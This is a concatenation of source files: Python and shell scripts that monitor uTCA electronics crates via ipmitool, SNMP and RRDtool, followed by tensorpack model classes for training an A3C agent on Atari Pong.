"RRA:MIN:0.5:120:780",
"RRA:MIN:0.5:1440:800")
print ret
<file_sep>#!/usr/bin/env python
import sys
import os
import subprocess
class PeaceNegotiator :
def __init__(self, scriptType) :
if str.lower(scriptType) == "firmtool" :
self.scriptType = "firmtool"
elif str.lower(scriptType) == "cratemon" :
self.scriptType = "cratemon"
else :
self.scriptType = scriptType
#print self.scriptType
self.filepath = '/home/xtaldaq/.negotiations.txt'
def checkFile(self):
try :
with open(self.filepath, 'r') as f:
#print "file exists"
if f.read() == '':
f.close()
with open(self.filepath, 'w') as f:
f.write('Done!')
except :
with open(self.filepath, 'w') as f:
f.write('Done!')
def requestAccess(self):
self.checkFile()
with open(self.filepath, 'r') as f:
if f.read() == 'Done!' or (f.read() == 'Go ahead' and self.scriptType == 'firmtool') :
return True
else :
if self.scriptType == 'firmtool' :
f.close()
with open(self.filepath, 'w') as f:
f.write('Firmtool in line!')
return False
def done(self):
with open(self.filepath, 'w') as f:
f.write('Done!')
def firmtoolInLine(self):
self.checkFile()
with open(self.filepath, 'r') as f:
if f.read() == 'Firmtool in line!':
return True
else:
return False
def IAmWorking(self):
if self.scriptType == 'cratemon':
with open(self.filepath, 'w') as f:
f.write('cratemon working...')
else :
with open(self.filepath, 'w') as f:
f.write('firmtool working...')
def getLine(self):
self.checkFile()
with open(self.filepath, 'r') as f:
line = f.readline()
print(line)
return str(line)
def writeToFile(self, string):
with open(self.filepath, 'w') as f:
f.write(string)
if __name__ == '__main__' :
PeaceNegotiator('test').done()
firmNegotiator = PeaceNegotiator('FIRMtool')
monNegotiator = PeaceNegotiator('crateMon')
print(monNegotiator.requestAccess())
<file_sep>Python files and rrds to monitor uTCA crates. In soaktest you will find a complete structure with all the files needed to
set up a database and monitor the crates and its cards. In P5 you will find a script based on ipmitool that gets sensor data
from the crates. This is the script that is deployed as the backend for the Pixel Crate Monitor at P5. You will find further documentation to that script it the P5 folder.
<file_sep>#!/usr/bin/env python
import netsnmp
import os
import sys
from rrdtool import update as rrd_update
os.environ['MIBS'] = 'ACX-MIB:SNMPv2-SMI' # To add the acdc controller's MIB to snmp's path
hostname = sys.argv[1] # Call the script with a hostname
temp = [None] * 4
outVolt = [None] * 4
inVolt = [None] * 4
outCurr = [None] * 4
for module in [0, 1, 2, 3]: # There are 4 rectifier modules, numbered from left to right and top to bottom
temp[module] = netsnmp.Varbind("ACX-MIB::temperature.{0}".format(module))
outVolt[module] = netsnmp.Varbind("ACX-MIB::outputVoltage.{0}".format(module)) # V*10
inVolt[module] = netsnmp.Varbind("ACX-MIB::inputVoltage.{0}".format(module))
outCurr[module] = netsnmp.Varbind("ACX-MIB::outputCurrent.{0}".format(module)) # A*10
ph1Volt = netsnmp.Varbind("ACX-MIB::acPhase1Voltage.0")
ph2Volt = netsnmp.Varbind("ACX-MIB::acPhase2Voltage.0")
ph3Volt = netsnmp.Varbind("ACX-MIB::acPhase3Voltage.0")
systemVoltage = netsnmp.Varbind("ACX-MIB::systemVoltage.0") #V*100
rectifierCurrent = netsnmp.Varbind("ACX-MIB::rectifierCurrent.0") #A*10
# netsnmp.snmpget() seems to only be able to hold 19 OIDs
data1 = netsnmp.snmpget(temp[0], temp[1], temp[2], temp[3], \
outVolt[0], outVolt[1], outVolt[2], outVolt[3], \
inVolt[0], inVolt[1], inVolt[2], inVolt[3], \
outCurr[0], outCurr[1], outCurr[2], outCurr[3], \
ph1Volt, ph2Volt, ph3Volt, \
Version = 2, \
DestHost = hostname, \
Community = 'accread')
data2 = netsnmp.snmpget(systemVoltage, rectifierCurrent,
Version = 2,
DestHost = hostname,
Community = 'accread')
outVoltAdjusted = [float(data1[4])/10, float(data1[5])/10, float(data1[6])/10, float(data1[7])/10]
outCurrAdjusted = [float(data1[12])/10, float(data1[13])/10, float(data1[14])/10, float(data1[15])/10]
systemVoltageAdjusted = float(data2[0])/100
rectifierCurrentAdjusted = float(data2[1])/10
ret = rrd_update('/home/xtaldaq/cratemonitor_v3/rrd/{0}.rrd'.format(hostname),
'N:{0[0]}:{0[1]}:{0[2]}:{0[3]}:{1[0]}:{1[1]}:{1[2]}:{1[3]}:{0[8]}:{0[9]}:{0[10]}:{0[11]}:{2[0]}:{2[1]}:{2[2]}:{2[3]}:{0[16]}:{0[17]}:{0[18]}:{3}:{4}'.format(data1,
outVoltAdjusted,
outCurrAdjusted,
systemVoltageAdjusted,
rectifierCurrentAdjusted))
<file_sep>#!/bin/env python
import uhal
import sys
def fmcPresent(hostname):
uhal.setLogLevelTo( uhal.LogLevel.ERROR)
#manager = uhal.ConnectionManager("file://FEDconnection.xml")
manager = uhal.ConnectionManager("file://FEDconnection.xml")
fed = manager.getDevice(hostname)
device_id = fed.id()
# Read the value back.
# NB: the reg variable below is a uHAL "ValWord", not just a simple integer
fmc_l8_present = fed.getNode("status.fmc_l8_present").read()
# Send IPbus transactions
try :
fed.dispatch()
except :
print "Could not connect to {0}".format(hostname)
return False
# Return status
if hex(fmc_l8_present) == '0x1':
return True
else:
return False
if __name__ == '__main__':
print fmcPresent(sys.argv[1])
<file_sep>#!/usr/bin/env python
import subprocess
import sys
import os
import signal
import time
line = []
proc = subprocess.Popen(("ipmitool -H mch-e1a04-18 -P '' -T 0x82 -b 7 -B 0 -t 0xc2 sdr").split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
#while True:
# out = proc.stdout.read(1)
# if out == '' and not proc.poll() == None:
# break
# if out != '':
# sys.stdout.write(out)
# sys.stdout.flush()
(out, err) = proc.communicate()
print out
err = "Error!omg"
if err != '':
print err
<file_sep>#!/bin/bash
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/cactus/lib
#If this works as excepted, just follow the naming conventions and don't worry about the monitoring.
#Nothing ever works as excpected though.
#for rack in 's1g01' 's1g03' 's1g04'
#do
# for crate in 18 27 36 45
# do
# for slot in '01' '02' '03' '04' '05' '06' '07' '08' '09' '10' '11' '12'
# do
# /home/xtaldaq/cratemonitor_v3/getFmcData.py amc-$rack-$crate-$slot
# done
# done
#done
#===================
#Early stage testing
#===================
for rack in 's1g01' 's1g03' 's1g04'
do
for crate in 18 27 36 45
do
for slot in '01' '02' '03' '04' '05' '06' '07' '08' '09' '10' '11' '12'
do
if [ $rack == "s1g01" ] && [ "$crate" == 18 ] # Staying away from Satoshi's crate
then
continue
else
/home/xtaldaq/cratemonitor_v3/getFmcData.py amc-$rack-$crate-$slot &
fi
done
done
done<file_sep>#!/bin/bash
echo "<!DOCTYPE html>"
echo "<html>"
echo "<head>"
echo " <meta http-equiv=\"refresh\" content=\"300\">"
echo " <title>TCDS System Monitoring with RRDtool</title>"
echo "</head>"
echo "<body>"
echo ""
echo "<h1>Ph1 Pixel Crate Monitoring Daily Plots</h1>"
echo ""
echo "<table style=\"width:100%\">"
echo " <tr>"
echo " <td><a href=\"./crates.html\">Daily Plots</a></td>"
echo " <td><a href=\"./crates-weekly.html\">Weekly Plots</a></td>"
echo " <td><a href=\"./crates-monthly.html\">Monthly Plots</a></td>"
echo " <td><a href=\"./crates_nic.html\">Control Hub Traffic Plots</a></td>"
echo " </tr>"
echo "</table>"
echo ""
echo "<table style=\"width:100%\">"
echo ""
for rack in 's1g01' 's1g03' 's1g04'; do
for crate in '45' '36' '27' '18'; do
echo " <tr>"
echo " <td><img src=\"./png/$rack-$crate-w-mchtemp.png\"></td>"
echo " <td><img src=\"./png/$rack-$crate-w-fmctemp.png\"></td>"
echo " <td><img src=\"./png/$rack-$crate-w-curr.png\"></td>"
echo " <td><img src=\"./png/$rack-$crate-w-12curr.png\"></td>"
echo " <td><img src=\"./png/$rack-$crate-w-v1.png\"></td>"
echo " <td><img src=\"./png/$rack-$crate-w-v2.png\"></td>"
echo " <td><img src=\"./png/$rack-$crate-w-v3.png\"></td>"
echo " <td><img src=\"./png/$rack-$crate-w-v4.png\"></td>"
echo " <td><img src=\"./png/$rack-$crate-w-vcc.png\"></td>"
echo " </tr>"
done
done
echo ""
echo " <tr>"
echo " <td> </td>"
echo " <td> </td>"
echo " </tr>"
echo "</table>"
echo ""
echo "<table style=\"width:100%\">"
echo " <tr>"
echo " <td><a href=\"./crates.html\">Daily Plots</a></td>"
echo " <td><a href=\"./crates-weekly.html\">Weekly Plots</a></td>"
echo " <td><a href=\"./crates-monthly.html\">Monthly Plots</a></td>"
echo " <td><a href=\"./crates_nic.html\">Control Hub Traffic Plots</a></td>"
echo " </tr>"
echo "</table>"
echo ""
echo "</body>"
echo "</html>"<file_sep>#!/usr/bin/env python
import subprocess
import sys
import os
import signal
import time
#HOSTNAME = sys.args[1]
HOSTNAME = "mch-e1a04-18"
#Defining every board as a class, hence treating each card as an object with sensor data
#===============
# Start PM Class
#===============
class PM:
"""Power module object"""
def __init__(self, PMIndex):
self.PMIndex = PMIndex #PM index in crate
self.entity = "10.{0}".format(str(96 + self.PMIndex)) #converting PM index to ipmi entity
self.hostname = HOSTNAME
#Initializing empty variables
self.tempA = None
self.tempB = None
self.tempBase = None
self.VIN = None
self.VOutA = None
self.VOutB = None
self.volt12V = None
self.volt3V3 = None
self.currentSum = None
self.flavor = None
#Get data upon instantiation
self.sensorValueList = self.getData()
def setHostname(self, hostname):
self.hostname = hostname
def getData(self):
self.proc = subprocess.Popen(("ipmitool -H {0} -U '' -P '' sdr entity {1}".format(self.hostname, self.entity)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self.data, self.err) = self.proc.communicate()
if self.err != '':
#if not "Get HPM.x Capabilities request failed, compcode = c9" in err:
if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n":
print self.err
return -1
self.data = self.data.split('\n')
#=========================================#
# This block is for NAT-PM-DC840 type PMs #
#=========================================#
if "NAT-PM-DC840" in self.data[0]:
self.flavor = "NAT-PM-DC840"
if self.data == '':
print "Error or whatever"
else:
for item in self.data:
#Temperatures
if "TBrick-A" in item:
self.tempA = item.strip().split(" ")[17]
elif "TBrick-B" in item:
self.tempB = item.strip().split(" ")[17]
elif "T-Base" in item:
self.tempBase = item.strip().split(" ")[19]
#Input Voltage
elif "VIN" in item:
self.VIN = item.strip().split(" ")[22]
#Output Voltage
elif "VOUT-A" in item:
self.VOutA = item.strip().split(" ")[19]
elif "VOUT-B" in item:
self.VOutB = item.strip().split(" ")[19]
#12V
elif "12V" in item:
self.volt12V = item.strip().split(" ")[22]
elif "3.3V" in item:
self.volt3V3 = item.strip().split(" ")[21]
#Total utput current
elif "Current(SUM)" in item:
self.currentSum = item.strip().split(" ")[13]
#==========================================#
# End NAT-PM-DC840 block #
#==========================================#
return [self.tempA, self.tempB, self.tempBase, self.VIN, self.VOutA, self.VOutB, self.volt12V, self.volt3V3, self.currentSum]
def printSensorValues(self):
#self.getData()
if self.flavor == "NAT-PM-DC840":
print ''
print "==============================="
print " Sensor Values for PM{0} ".format(self.PMIndex)
print "==============================="
print ''
print "TBrick-A:", self.tempA, "degC"
print "TBrick-B:", self.tempB, "degC"
print "T-Base:", self.tempBase, "degC"
print "Input Voltage:", self.VIN, "V"
print "Ouput Voltage A:", self.VOutA, "V"
print "Output Voltage B:", self.VOutB, "V"
print "12V:", self.volt12V, "V"
print "3.3V:", self.volt3V3, "V"
print "Total Current:", self.currentSum, "V"
print ""
else:
print "Unknown PM flavor. Check code and PM class"
#=============
# End PM class
#=============
#================
# Start MCH class
#================
class MCH:
"""MCH object"""
def __init__(self, MCHIndex = 1):
self.MCHIndex = MCHIndex
self.entity = "194.{0}".format(str(96 + self.MCHIndex)) #converting MCH index to ipmi entity
self.hostname = "mch-e1a04-18"
#Initializing empty variables
self.flavor = None
self.tempCPU = None
self.tempIO = None
self.volt1V5 = None
self.volt1V8 = None
self.volt2V5 = None
self.volt3V3 = None
self.volt12V = None
self.current = None
#Get data upon instantiation
self.sensorValueList = self.getData()
def setHostname(self, hostname):
self.hostname = hostname
def getData(self):
self.proc = subprocess.Popen(("ipmitool -H {0} -U admin -P admin sdr entity {1}".format(self.hostname, self.entity)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self.data, self.err) = self.proc.communicate()
if self.err != '':
#if not "Get HPM.x Capabilities request failed, compcode = c9" in err:
if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n":
print self.err
return -1
self.data = self.data.split('\n')
#=========================================#
# This block is for NAT-MCH-MCMC type MCH #
#=========================================#
if "NAT-MCH-MCMC" in self.data[0]:
self.flavor = "NAT-MCH-MCMC"
for item in self.data:
if "Temp CPU" in item:
self.tempCPU = item.strip().split(" ")[18]
elif "Temp I/O" in item:
self.tempIO = item.strip().split(" ")[18]
elif "Base 1.2V" in item:
self.volt1V2 = item.strip().split(" ")[17]
elif "Base 1.5V" in item:
self.volt1V5 = item.strip().split(" ")[17]
elif "Base 1.8V" in item:
self.volt1V8 = item.strip().split(" ")[17]
elif "Base 2.5V" in item:
self.volt2V5 = item.strip().split(" ")[17]
elif "Base 3.3V" in item:
self.volt3V3 = item.strip().split(" ")[17]
elif "Base 12V" in item:
self.volt12V = item.strip().split(" ")[18]
elif "Base Current" in item:
self.current = item.strip().split(" ")[14]
#==========================================#
# End NAT-MCH-MCMC block #
#==========================================#
return [self.tempCPU, self.tempIO, self.volt1V2, self.volt1V8, self.volt2V5, self.volt3V3, self.volt12V, self.current]
def printSensorValues(self):
#self.getData()
if self.flavor == "NAT-MCH-MCMC":
print ''
print "==============================="
print " Sensor Values for MCH{0} ".format(self.MCHIndex)
print "==============================="
print ''
print "Temp CPU:", self.tempCPU, "degC"
print "Temp I/O:", self.tempIO, "degC"
print "Base 1.2V:", self.volt1V2, "V"
print "Base 1.5V:", self.volt1V5, "V"
print "Base 1.8V:", self.volt1V8, "V"
print "Base 2.5V:", self.volt2V5, "V"
print "Base 3.3V:", self.volt12V, "V"
print "Base 12V:", self.volt12V, "V"
print "Base Current:", self.current, "V"
print ""
else:
print "Unknown MCH flavor, check code and MCH class"
#==============
# End MCH class
#==============
#================
# Start CU class
#================
class CU:
'''Cooling Unit object'''
def __init__(self, CUIndex):
self.hostname = HOSTNAME
self.CUIndex = CUIndex
self.entity = "30.{0}".format(96 + CUIndex)
if self.CUIndex == 1:
self.target = "0xa8"
else:
self.target = "0xaa"
#Initializing empty variables
self.flavor = None
self.CU3V3 = None
self.CU12V = None
self.CU12V_1 = None
self.LM75Temp = None
self.LM75Temp2 = None
self.fan1 = None
self.fan2 = None
self.fan3 = None
self.fan4 = None
self.fan5 = None
self.fan6 = None
#Get data upon instantiation
self.sensorValueList = self.getData()
def setHostname(self, hostname):
self.hostname = hostname
def checkFlavor(self, flavor):
self._proc = subprocess.Popen(("ipmitool -H {0} -U admin -P admin sdr entity {1}".format(self.hostname, self.entity)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self._data, self._err) = self._proc.communicate()
self._data = self._data.split('\n')
if flavor in self._data[0]:
self.flavor = flavor
return True
else:
return False
def getData(self):
self.proc = subprocess.Popen(("ipmitool -H {0} -U '' -P '' -T 0x82 -b 7 -t {1} -B 0 sdr".format(self.hostname, self.target)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self.data, self.err) = self.proc.communicate()
if self.err != '':
#if not "Get HPM.x Capabilities request failed, compcode = c9" in err:
if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n":
print self.err
return -1
self.data = self.data.split('\n')
#=====================================================#
# This block is for Schroff uTCA CU type Cooling Unit #
#=====================================================#
if self.checkFlavor("Schroff uTCA CU"):
for item in self.data:
if "+3.3V" in item:
self.CU3V3 = item.strip().split(" ")[13]
elif "+12V " in item:
self.CU12V = item.strip().split(" ")[14]
elif "+12V_1" in item:
self.CU12V_1 = item.strip().split(" ")[12]
elif "LM75 Temp " in item:
self.LM75Temp = item.strip().split(" ")[10]
elif "LM75 Temp2" in item:
self.LM75Temp2 = item.strip().split(" ")[9]
elif "Fan 1" in item:
self.fan1 = item.strip().split(" ")[14]
elif "Fan 2" in item:
self.fan2 = item.strip().split(" ")[14]
elif "Fan 3" in item:
self.fan3 = item.strip().split(" ")[14]
elif "Fan 4" in item:
self.fan4 = item.strip().split(" ")[14]
elif "Fan 5" in item:
self.fan5 = item.strip().split(" ")[14]
elif "Fan 6" in item:
self.fan6 = item.strip().split(" ")[14]
#=====================================================#
# END Schroff uTCA CU type Cooling Unit block #
#=====================================================#
return [self.CU3V3, self.CU12V, self.CU12V_1, self.LM75Temp, self.LM75Temp2, self.fan1, self.fan2, self.fan3, self.fan4, self.fan5, self.fan6]
def printSensorValues(self):
#self.getData()
if self.flavor == "Schroff uTCA CU":
print ''
print "==============================="
print " Sensor Values for CU{0} ".format(self.CUIndex)
print "==============================="
print ''
print "+3.3V:", self.CU3V3, "V"
print "+12V:", self.CU12V, "V"
print "+12V_1:", self.CU12V_1, "V"
print "LM75 Temp:", self.LM75Temp, "degC"
print "LM75 Temp2:", self.LM75Temp2, "degC"
print "Fan 1:", self.fan1, "rpm"
print "Fan 2:", self.fan2, "rpm"
print "Fan 3:", self.fan3, "rpm"
print "Fan 4:", self.fan4, "rpm"
print "Fan 5:", self.fan5, "rpm"
print "Fan 6:", self.fan6, "rpm"
print ""
else:
print "Unkown CU type, check code and CU class"
#=============
# END CU class
#=============
#################
# Start AMC13 class
#################
class AMC13:
'''AMC13 object'''
def __init__(self):
self.hostname = HOSTNAME
#Initializing empty variables
self.flavor = None
self.T2Temp = None
self.volt12V = None
self.volt3V3 = None
self.volt1V2 = None
#Get data upon instantiation
self.sensorValueList = self.getData()
def setHostname(self, hostname):
self.hostname = hostname
def getData(self):
self.proc = subprocess.Popen(("ipmitool -H {0} -U admin -P admin sdr entity 193.122".format(self.hostname)).split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
(self.data, self.err) = self.proc.communicate()
if self.err != '':
#if not "Get HPM.x Capabilities request failed, compcode = c9" in err:
if self.err != "Get HPM.x Capabilities request failed, compcode = c9\n":
print self.err
return -1
self.data = self.data.split('\n')
#=====================================================#
# This block is for BU AMC13 type amc13 #
#=====================================================#
if "BU AMC13" in self.data[0]:
self.flavor = "BU AMC13"
for item in self.data:
if "T2 Temp" in item:
self.T2Temp = item.strip().split(" ")[19]
elif "+12V" in item:
self.volt12V = item.strip().split(" ")[21]
elif "+3.3V" in item:
self.volt3V3 = item.strip().split(" ")[20]
elif "+1.2V" in item:
self.volt1V2 = item.strip().split(" ")[20]
#=====================================================#
# END BU AMC13 type block #
#=====================================================#
return [self.T2Temp, self.volt12V, self.volt3V3, self.volt1V2]
def printSensorValues(self):
#self.getData()
if self.flavor == "BU AMC13":
print ''
print "==============================="
print " Sensor Values for AMC13 "
print "==============================="
print ''
print "T2Temp:", self.T2Temp, "degC"
print "+12V:", self.volt12V, "V"
print "+3.3V:", self.volt3V3, "V"
print "+1.2V:", self.volt1V2, "V"
print ''
else:
print "Unkown AMC13 type, check code and AMC13 class"
if __name__ == "__main__":
try :
PM1 = PM(1)
PM2 = PM(2)
PM1.printSensorValues()
PM2.printSensorValues()
MCH = MCH()
MCH.printSensorValues()
CU1 = CU(1)
CU2 = CU(2)
CU1.printSensorValues()
CU2.printSensorValues()
amc13 = AMC13()
amc13.printSensorValues()
sys.exit(0)
except:
sys.exit(1)
<file_sep>#!/usr/bin/env python
import netsnmp
import os
import sys
from rrdtool import update as rrd_update
os.environ['MIBS'] = 'ACX-MIB:SNMPv2-SMI' # To add the acdc controller's MIB to snmp's path
hostname = sys.argv[1] # Call the script with a hostname
temp = [None] * 4
outVolt = [None] * 4
inVolt = [None] * 4
outCurr = [None] * 4
for module in [0, 1, 2, 3]: # There are 4 rectifier modules
temp[module] = netsnmp.Varbind("temperature.{0}".format(module))
outVolt[module] = netsnmp.Varbind("outputVoltage.{0}".format(module)) # V*10
inVolt[module] = netsnmp.Varbind("inputVoltage.{0}".format(module))
outCurr[module] = netsnmp.Varbind("outputCurrent.{0}".format(module)) # A*10
ph1Volt = netsnmp.Varbind("acPhase1Voltage.0")
ph2Volt = netsnmp.Varbind("acPhase2Voltage.0")
ph3Volt = netsnmp.Varbind("acPhase3Voltage.0")
data = netsnmp.snmpget(temp[0], temp[1], temp[2], temp[3], \
outVolt[0], outVolt[1], outVolt[2], outVolt[3], \
inVolt[0], inVolt[1], inVolt[2], inVolt[3], \
outCurr[0], outCurr[1], outCurr[2], outCurr[3], \
ph1Volt, ph2Volt, ph3Volt, \
Version = 2, \
DestHost = hostname, \
Community = 'accread')
outVoltAdjusted = [float(data[4])/10, float(data[5])/10, float(data[6])/10, float(data[7])/10]
outCurrAdjusted = [float(data[12])/10, float(data[13])/10, float(data[14])/10, float(data[15])/10]
ret = rrd_update('/home/xtaldaq/cratemonitor_v3/acdcmonitor/{0}.rrd'.format(hostname), \
'N:{0[0]}:{0[1]}:{0[2]}:{0[3]}:{1[0]}:{1[1]}:{1[2]}:{1[3]}:{0[8]}:{0[9]}:{0[10]}:{0[11]}:{2[0]}:{2[1]}:{2[2]}:{2[3]}:{0[16]}:{0[17]}:{0[18]}'.format(data, outVoltAdjusted, outCurrAdjusted))
| 409e2694e5ce48d18814948f00993ec3552e3a29 | [
"Markdown",
"Python",
"Shell"
] | 17 | Shell | AstroSaiko/cratemonitor | 4f9cfe358de470e5dfa062cc9325a939275f716b | c5e958689ec6bb473a6bf5e3b7b39987fd96ea57 |
refs/heads/master | <repo_name>piotrmilos/tensorpack<file_sep>/examples/OpenAIGym/pong_models.py
import importlib
import random
from abc import ABCMeta, abstractmethod
import cv2
from examples.OpenAIGym.train_atari_with_neptune import FRAME_HISTORY
from tensorpack.models.conv2d import Conv2D
from tensorpack.models.fc import FullyConnected
from tensorpack.models.model_desc import ModelDesc, InputVar, get_current_tower_context
import tensorflow as tf
import tensorpack.tfutils.symbolic_functions as symbf
from tensorpack.models.pool import MaxPooling
from tensorpack.tfutils import summary
from tensorpack.tfutils.argscope import argscope
from tensorpack.tfutils.gradproc import MapGradient, SummaryGradient
from tensorpack.models.nonlin import PReLU
import numpy as np
class AtariExperimentModel(ModelDesc):
__metaclass__ = ABCMeta
def __init__(self):
raise "The construction should be overriden and define self.input_shape"
def _get_input_vars(self):
assert self.number_of_actions is not None
inputs = [InputVar(tf.float32, (None,) + self.input_shape, 'state'),
InputVar(tf.int64, (None,), 'action'),
InputVar(tf.float32, (None,), 'futurereward') ]
return inputs
# This is a hack due the currect control flow ;)
def set_number_of_actions(self, num):
self.number_of_actions = num
@abstractmethod
def _get_NN_prediction(self, image):
"""create centre of the graph"""
@abstractmethod
def get_screen_processor(self):
"""Get the method used to extract features"""
@abstractmethod
def get_history_processor(self):
"""How the history should be processed."""
def _build_graph(self, inputs):
state, action, futurereward = inputs
policy, self.value = self._get_NN_prediction(state)
self.value = tf.squeeze(self.value, [1], name='pred_value') # (B,)
self.logits = tf.nn.softmax(policy, name='logits')
expf = tf.get_variable('explore_factor', shape=[],
initializer=tf.constant_initializer(1), trainable=False)
logitsT = tf.nn.softmax(policy * expf, name='logitsT')
is_training = get_current_tower_context().is_training
if not is_training:
return
log_probs = tf.log(self.logits + 1e-6)
log_pi_a_given_s = tf.reduce_sum(
log_probs * tf.one_hot(action, self.number_of_actions), 1)
advantage = tf.sub(tf.stop_gradient(self.value), futurereward, name='advantage')
policy_loss = tf.reduce_sum(log_pi_a_given_s * advantage, name='policy_loss')
xentropy_loss = tf.reduce_sum(
self.logits * log_probs, name='xentropy_loss')
value_loss = tf.nn.l2_loss(self.value - futurereward, name='value_loss')
pred_reward = tf.reduce_mean(self.value, name='predict_reward')
advantage = symbf.rms(advantage, name='rms_advantage')
summary.add_moving_summary(policy_loss, xentropy_loss, value_loss, pred_reward, advantage)
entropy_beta = tf.get_variable('entropy_beta', shape=[],
initializer=tf.constant_initializer(0.01), trainable=False)
self.cost = tf.add_n([policy_loss, xentropy_loss * entropy_beta, value_loss])
self.cost = tf.truediv(self.cost,
tf.cast(tf.shape(futurereward)[0], tf.float32),
name='cost')
def get_gradient_processor(self):
return [MapGradient(lambda grad: tf.clip_by_average_norm(grad, 0.1)),
SummaryGradient()]
class AtariExperimentFromScreenModel(AtariExperimentModel):
def __init__(self, parameters):
self.IMAGE_SIZE = (84, 84)
self.CHANNELANDHISTORY = 3*4
self.input_shape = self.IMAGE_SIZE + (self.CHANNELANDHISTORY,)
def _get_NN_prediction(self, image):
image = image / 255.0
with argscope(Conv2D, nl=tf.nn.relu):
l = Conv2D('conv0', image, out_channel=32, kernel_shape=5)
l = MaxPooling('pool0', l, 2)
l = Conv2D('conv1', l, out_channel=32, kernel_shape=5)
l = MaxPooling('pool1', l, 2)
l = Conv2D('conv2', l, out_channel=64, kernel_shape=4)
l = MaxPooling('pool2', l, 2)
l = Conv2D('conv3', l, out_channel=64, kernel_shape=3)
l = FullyConnected('fc0', l, 512, nl=tf.identity)
l = PReLU('prelu', l)
policy = FullyConnected('fc-pi', l, out_dim=self.number_of_actions, nl=tf.identity)
value = FullyConnected('fc-v', l, 1, nl=tf.identity)
return policy, value
def get_screen_processor(self):
return lambda image: cv2.resize(image, self.IMAGE_SIZE[::-1])
def get_history_processor(self):
return None
class ProcessedPongExperiment(AtariExperimentModel):
def __init__(self, parameters):
params = parameters.split(" ")
self.numberOfLayers = int(params[0])
self.numberOfNeurons = int(params[1])
process_class_name = params[2]
process_class = globals()[process_class_name]
self.data_processor = process_class(params[3:])
self.input_shape = self.data_processor.get_input_shape()
def get_screen_processor(self):
return lambda image: self.data_processor.process_screen(image)
def get_history_processor(self):
return lambda image: self.data_processor.process_history(image)
def _get_NN_prediction(self, image):
l = image
for i in xrange(0, self.numberOfLayers):
l = FullyConnected('fc{}'.format(i), l, self.numberOfNeurons, nl=tf.identity)
l = PReLU('prelu{}'.format(i), l)
policy = FullyConnected('fc-pi', l, out_dim=self.number_of_actions, nl=tf.identity)
value = FullyConnected('fc-v', l, 1, nl=tf.identity)
return policy, value
class SimplifiedPongExperimentModel(AtariExperimentModel):
__metaclass__ = ABCMeta
def __init__(self, parameters):
self.number_of_layers = int(parameters.split(" ")[0])
self.number_of_neurons = int(parameters.split(" ")[1])
self.extractor_method_name = parameters.split(" ")[2]
self.extractor_method = getattr(SimplifiedPongExperimentModel, self.extractor_method_name)
assert hasattr(SimplifiedPongExperimentModel, self.extractor_method_name + "_input_shape"), "An extractor " \
"method xyz must be accompanied by a variable xyz_input_shape," \
"who secify the shape of the network input"
self.input_shape = getattr(SimplifiedPongExperimentModel, self.extractor_method_name + "_input_shape")
def get_screen_processor(self):
return self.extractor_method
def get_history_processor(self):
return None
# The shape of the results is forced by the rest of the code (e.g. the history handler)
# These functions should not be altered unless a bug if found.
# If you want a new functaionality just write a new one.
findPongObjectsNumpyDifference_input_shape = (3, 2) + (FRAME_HISTORY,)
@staticmethod
def findPongObjectsNumpyDifference(observation):
# print "AA"
ball = (0.84, 0.6)
computerPlayer = (0, 0)
agentPlayer = (0, 0)
positons = np.argwhere(observation[34:193, 15:145, 0] == 236)
if positons.size != 0:
ball = [a / 100.0 for a in positons[0]]
positons = np.argwhere(observation[34:193, 15:145, 0] == 213)
if positons.size != 0:
computerPlayer = [a / 100.0 for a in positons[0]]
positons = np.argwhere(observation[34:193, 15:145, 0] == 92)
if positons.size != 0:
agentPlayer = [a / 100.0 for a in positons[0]]
v1 = [[ball[0]], [ball[1]]]
v2 = [[computerPlayer[0]], [agentPlayer[0]]]
v3 = [[computerPlayer[0] - ball[0]], [agentPlayer[0] - ball[0]]]
res = np.asanyarray((v1, v2, v3))
# print "Game status:{}".format(res.reshape((6,)))
# res = np.asarray(([[1], [2]], [[3], [4]], [[5],[6]]))
return res
findPongObjectsNumpyStandard_input_shape = (3, 2) + (FRAME_HISTORY,)
@staticmethod
def findPongObjectsNumpyStandard(observation):
ball = ([0.84], [0.6])
computerPlayer = ([0.11], [0.12])
agentPlayer = ([0.22], [0.23])
positons = np.argwhere(observation[34:193, 15:145, 0] == 236)
if positons.size != 0:
ball = [[a / 100.0] for a in positons[0]]
# ballPerturbed = ([ball[0][0] + random.uniform(-0.02, 0.02)], [ball[1][0] - random.uniform(-0.02, 0.02)])
positons = np.argwhere(observation[34:193, 15:145, 0] == 213)
if positons.size != 0:
computerPlayer = [[a / 100.0] for a in positons[0]]
# computerPlayerPertrubed = ([computerPlayer[0][0] + random.uniform(-0.02, 0.02)], [computerPlayer[1][0] - random.uniform(-0.02, 0.02)])
positons = np.argwhere(observation[34:193, 15:145, 0] == 92)
if positons.size != 0:
agentPlayer = [[ a / 100.0] for a in positons[0]]
# agentPlayerPertrubed = ([agentPlayer[0][0] + random.uniform(-0.02, 0.02)], [agentPlayer[1][0] - random.uniform(-0.02, 0.02)])
res = np.asanyarray((ball, computerPlayer, agentPlayer))
# print "X ==================== X\n"
# print res.reshape((6,))
# print "Y ==================== Y\n"
return res
findPongObjectsNumpyFlat_input_shape = (6 * FRAME_HISTORY,)
@staticmethod
def findPongObjectsNumpyFlat(observation):
ball = (0.84, 0.6)
computerPlayer = (0, 0)
agentPlayer = (0, 0)
positons = np.argwhere(observation[34:193, 15:145, 0] == 236)
if positons.size != 0:
ball = [a / 100.0 for a in positons[0]]
positons = np.argwhere(observation[34:193, 15:145, 0] == 213)
if positons.size != 0:
computerPlayer = [a / 100.0 for a in positons[0]]
positons = np.argwhere(observation[34:193, 15:145, 0] == 92)
if positons.size != 0:
agentPlayer = [a / 100.0 for a in positons[0]]
res = np.asanyarray((ball, computerPlayer, agentPlayer))
res = res.reshape((6,))
# print res
return res
# Well it is not quite unary ;)
@staticmethod
def _unary_pack(offset, *args):
assert 1==0, "this method is deprected. _unary_representation() should be used instead"
res = np.zeros(offset*len(args))
current_offset = 0
for a in args:
res[a + current_offset] = 1
